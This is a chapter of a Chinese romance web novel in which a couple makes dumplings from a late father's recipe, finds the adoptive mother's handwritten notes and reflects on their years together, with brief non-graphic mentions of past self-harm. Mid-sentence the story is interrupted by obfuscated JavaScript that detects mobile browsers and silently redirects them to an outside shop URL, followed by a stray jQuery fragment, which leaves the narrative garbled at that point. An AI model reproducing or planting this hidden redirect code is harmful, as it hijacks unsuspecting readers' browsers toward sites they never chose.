周一傍晚，忘海下班回家，推开门看见苌斓坐在沙发上，膝盖上摊着那本深蓝色相册。相册已经翻得很旧了，边角起了毛边，有几页被透明胶带粘过——是苌斓粘的，和粘那张购物小票用的是同一卷胶带。他翻到最后一页，看着那张两人在梧桐树下的合影，围巾被风卷起来缠在一起，分不清哪条是谁的。照片背面那行字他早就背得下来了，但还是每次都要看一遍。
忘海换了拖鞋走过去，在他旁边坐下。苌斓把相册往他那边挪了挪，指着照片角落里一个模糊的影子说，这是你妈妈。忘海低头看——养母站在梧桐树后面，只露出半个身子，手里拎着那个保温袋。她大概是想等他们拍完再走过来，但忘海的父亲已经按下了快门。
“我爸拍的。他不知道我妈站在后面。”
“她知道。她故意站在那里的。她就是想出现在同一张照片里。”
忘海看着那个模糊的影子看了很久，然后合上相册，放在茶几上。窗外天色暗下来了，路灯刚亮，梧桐树的影子落在窗帘上，和多年前他们在路口等对方时的树影一模一样。
“今天周几。”
“周一。”
“周一吃饺子。你妈妈说的——‘上车饺子下车面’，每次我爸出差她都包饺子。”苌斓把相册放进抽屉里，站起来走向厨房。忘海跟在后面，系围裙，洗手，从冰箱里拿出肉馅和芹菜。肉馅是早上解冻的，芹菜是昨天买的，忘海的父亲教的配方——芹菜要切得碎一点，肉馅要顺时针搅上劲，饺子皮要中间厚边缘薄。他把料理台上的东西一样一样摆好，动作很熟练。
忘海站在旁边看着他。“你什么时候学会的。”
“上次你加班，我一个人在家，翻到你爸写的那张配方了。”他指了指冰箱上那张泛黄的便签——那是很多年前忘海的父亲写给忘海的，怕他记不住步骤，把每个细节都写了下来。便签边缘已经卷起来了，但字迹还很清晰。“你爸写得很详细，连‘水烧开后加三次凉水’都写了。我第一次煮的时候没加凉水，全部煮破了。第二次加了，还是破了。第三次才成功。”他把饺子皮擀开，放上馅，手指沾了点水沿着边缘抹了一圈，然后合上，捏出整齐的褶子。“后来才明白，他说的是‘加三次凉水’，不是加一次。你爸说话和你一样——只说一遍，剩下的自己悟。”
忘海靠在厨房门框上，想起父亲在茶几上写配方时认真的样子，眼镜滑到鼻梁上，写错一个字就用橡皮擦掉重写。父亲是工程师，写什么都像在画图纸，连饺子配方都写得像施工说明书。
两个人一个擀皮一个包馅，灶台上的水烧开了，咕嘟咕嘟冒着热气。饺子下锅时溅起一小片水花，水面翻滚几下又恢复平静。透过氤氲的水汽能看见窗外梧桐树光秃秃的枝丫，路灯把它照成暖黄色，和多年前他们并肩走在梧桐道上的颜色一模一样。
饺子端上桌，苌斓夹起第一个放进忘海碗里。忘海咬了一口——芹菜很鲜，肉馅很嫩，咸淡刚好。和他父亲包的一模一样，连蘸料的醋和酱油比例都是按父亲的习惯调的。
“和叔叔包的一个味道。”
“那当然。你爸的配方，你妈在旁边指导的——你爸写的便签背面还有她的字，你翻过来看看。”
忘海放下筷子，走到冰箱前，把那张便签从门上轻轻揭下来翻到背面。上面是母亲的字迹，写着“馅里多放点姜，忘海喜欢”。他认得这个笔迹——和相册背面“两个孩子，都是我的孩子”是同一个人的手笔，和行李箱内侧“到了报平安”是同一支笔写的，和灶台上最后一张便签“忘海和小斓”是同一种语气。
他握着便签坐回餐桌旁，把便签小心地放在碗边，压在一块干净的筷子架下面。“我以前不知道。”“现在知道了。”
饭后苌斓站在厨房里洗碗，忘海站在他旁边擦盘子。水龙头哗哗地响，洗洁精的泡沫在灯光下泛着细密的七彩光。苌斓忽然说，你第一次去我家吃饺子，我妈往你碗里堆了二十三个，堆得像小山一样。忘海说，你数了。苌斓说，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724408|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我数的，当时想这个人怎么这么能吃。后来发现不是你能吃，是我妈给你夹得太多。忘海把最后一个盘子擦干放进碗架，关了水龙头，厨房安静下来。
“我妈给我夹饺子，你妈给你留便签。你爸写配方，我爸买红糖。四个人，四种方式。说到底都是一回事。”他接过忘海手里的抹布挂在挂钩上，手指上还沾着洗洁精淡淡的柠檬味。
晚上他们窝在沙发上，电视里放着纪录片，讲宇宙的起源，旁白的声音低沉而舒缓。苌斓靠在忘海肩上，膝上盖着那条灰色薄毯，手里漫不经心地绕着毛线团。他忽然说：“如果你没有遇到我，这一世会是什么样。”
忘海沉默了一会儿。他想起很久以前，在天台上第一次正面看苌斓，那双眼睛里全是防备和疲惫。那时候他只是想给他一杯热牛奶，没有想过后面还有这么多事——超市的购物小票、紫砂杯底的缺口、灶台上的排骨汤、深蓝色相册、褪色的便签。他以为自己是那个撑伞的人，后来发现苌斓也在努力为他撑伞。
“不会比现在更好。”他把苌斓往怀里拢了拢，“你呢。如果没有遇到我，你这一世会是什么样。”
“可能活不到现在。”苌斓的语气很平静，像是在陈述一个早已被推翻的假设，“那把剪刀可能不只是划破皮。药可能不会按时吃。可能在天台上那天就没了。”他把毛线绕到最后一圈，把线团放进针线盒里，“但这些都是假设。假设不成立，因为你在。”
窗外夜色很深，梧桐树安静地立在路灯下。茶几上两个保温杯并排放在一起，父亲的紫砂杯立在杯垫上，裂缝还在，但杯子没有散。相册收在抽屉里，饺子还剩半盘，冰箱上那张便签翻到了背面。他们明天还会早起，还会磨豆浆，还会在周末包饺子。周一吃饺子，周二喝排骨汤，周三绕毛线团，周四看纪录片，周五把冰箱上的便签翻过来再看一遍。日子就这么一天一天过，没有惊天动地的誓言，只有每天早上的红枣茶和每天晚上的紫砂杯，杯口朝外，和以前一模一样。